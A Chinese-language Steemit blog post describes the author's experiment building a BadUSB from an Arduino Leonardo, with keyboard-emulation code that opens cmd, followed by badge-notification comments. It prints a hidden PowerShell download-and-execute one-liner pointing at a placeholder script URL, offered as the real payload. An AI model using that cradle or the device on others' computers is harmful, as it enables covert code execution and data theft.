BadUSB的一次尝试和对BadUSB的一些看法

in #hacker7 years ago (edited)

什么是BadUsb

前言

前两天在一个网站又看见了BadUSB的文章,感觉这个东西,可以自己折腾一下,然后就去淘宝下单了。
自己试一下了,感觉没有达到自己心中的想法。

原理

硬件基础知识

HID

  HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

Teensy

  攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

Arduino

  Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple
I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

威胁

  BadUSB通过插入电脑,模拟电脑的鼠标键盘,对电脑进行操作。可以打开你电脑的cmd,powershell,执行一些静默的下载命令或其他。以达到窃取资料,控制目标,下载木马等功能。

制作方法

准备

  • 1286芯片或者2303芯片的U盘

这里我使用的是 arduino Leonardo USB ATMEGA32U4

image

淘宝地址:https://item.taobao.com/item.htm?spm=a230r.1.14.5.kYKUil&id=536421581630&ns=1&abbucket=16#detail 这个是带了一个壳,可以省去自己找壳的麻烦。
也可以不要壳的
https://item.taobao.com/item.htm?spm=a230r.1.14.74.LGB3UB&id=44364709185&ns=1&abbucket=12#detail

  • Arduino IDE

下载地址:官网
像什么Kali linux是自带了这个IDE的。

安装有绿色版的也有安装版的,根据自己需要选择。

安装完成后,打开。
插入硬件,点开菜单的工具,选择开发板,选择“Arduino Leonardo”。

然后点开菜单里的工具,选择端口,选择“COM *(Arduino Leonardo)”

然后敲入如下代码

#include <Keyboard.h>

//setup,是插入硬件初始化的方法。
void setup() {
  // put your setup code here, to run once:
  delay(500);//等待5秒
  Keyboard.begin(); //键盘开始
  Keyboard.press(KEY_LEFT_CTRL);//按下左Ctrl键不放。
  Keyboard.press(KEY_ESC);//再按下ESC键不放
  Keyboard.releaseAll();//释放所有的按键
  delay(200);//等待两秒

  Keyboard.press(KEY_CAPS_LOCK);//开启大写,解决中文输入法的问题。
  Keyboard.releaseAll();//释放按键
  Keyboard.print("cmd");//敲入cmd
  Keyboard.press(10);//按下回车键
  Keyboard.releaseAll();//释放所有的按键。
 
  Keyboard.end();//结束键盘模拟

  

}

//这个loop是初始化方法结束后,一直循环执行的方法。
void loop() {
  // put your main code here, to run repeatedly:

}

代码的含义已经在注释上写了。键值的定义:https://www.arduino.cc/en/Reference/KeyboardModifiers

关于Keyboard库的学习:https://www.arduino.cc/en/Reference/MouseKeyboard
中文的:http://wenku.baidu.com/link?url=SkZEdyQm7N7XTncIiawKR47XfTrqcYyK1iUAFOwwJl362w-sk_QbukPB1aOj7hrqRr0OcyUmI1CsBUj8qg_8nD0ffagJ2YR4M3bXC0JHKZW

然后编译一下

写入硬件

好了,就可以插入电脑测试了。

实验视频:

http://player.youku.com/player.php/sid/XMTgxMjIxOTk5Ng==/v.swf

这个只是一个小DEMO,开启一个cmd,窗口,当然也可以其他的,比如执行powershell,远程下载脚本执行啊,之类的,这个就不用多说了。


powershell -exec bypass -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('你的ps脚本地址')

总结

  • 这个,插入别人的电脑,闪一下黑框。还是比较鸡肋的。
  • 只有在联网了的电脑上,才可以做更多的事。这个中间的等待速度,也是和目标电脑的反应,有关。
  • 如果目标用户,正在使用电脑的同时,很容易出现问题,因为模拟键盘,可能敲入你的命令道他的工作区上,很容易暴露。

  以上为个人的想法,不知道有啥错误的没有,可以讨论一下。

Sort:  

Congratulations @blacktrace! You have completed some achievement on Steemit and have been rewarded with new badge(s) :

You made your First Vote

Click on any badge to view your own Board of Honor on SteemitBoard.
For more information about SteemitBoard, click here

If you no longer want to receive notifications, reply to this comment with the word STOP

Upvote this notification to help all Steemit users. Learn why here!

Congratulations @blacktrace! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 1 year!

Click here to view your Board

Support SteemitBoard's project! Vote for its witness and get one more award!

Congratulations @blacktrace! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 2 years!

You can view your badges on your Steem Board and compare to others on the Steem Ranking

Vote for @Steemitboard as a witness to get one more award and increased upvotes!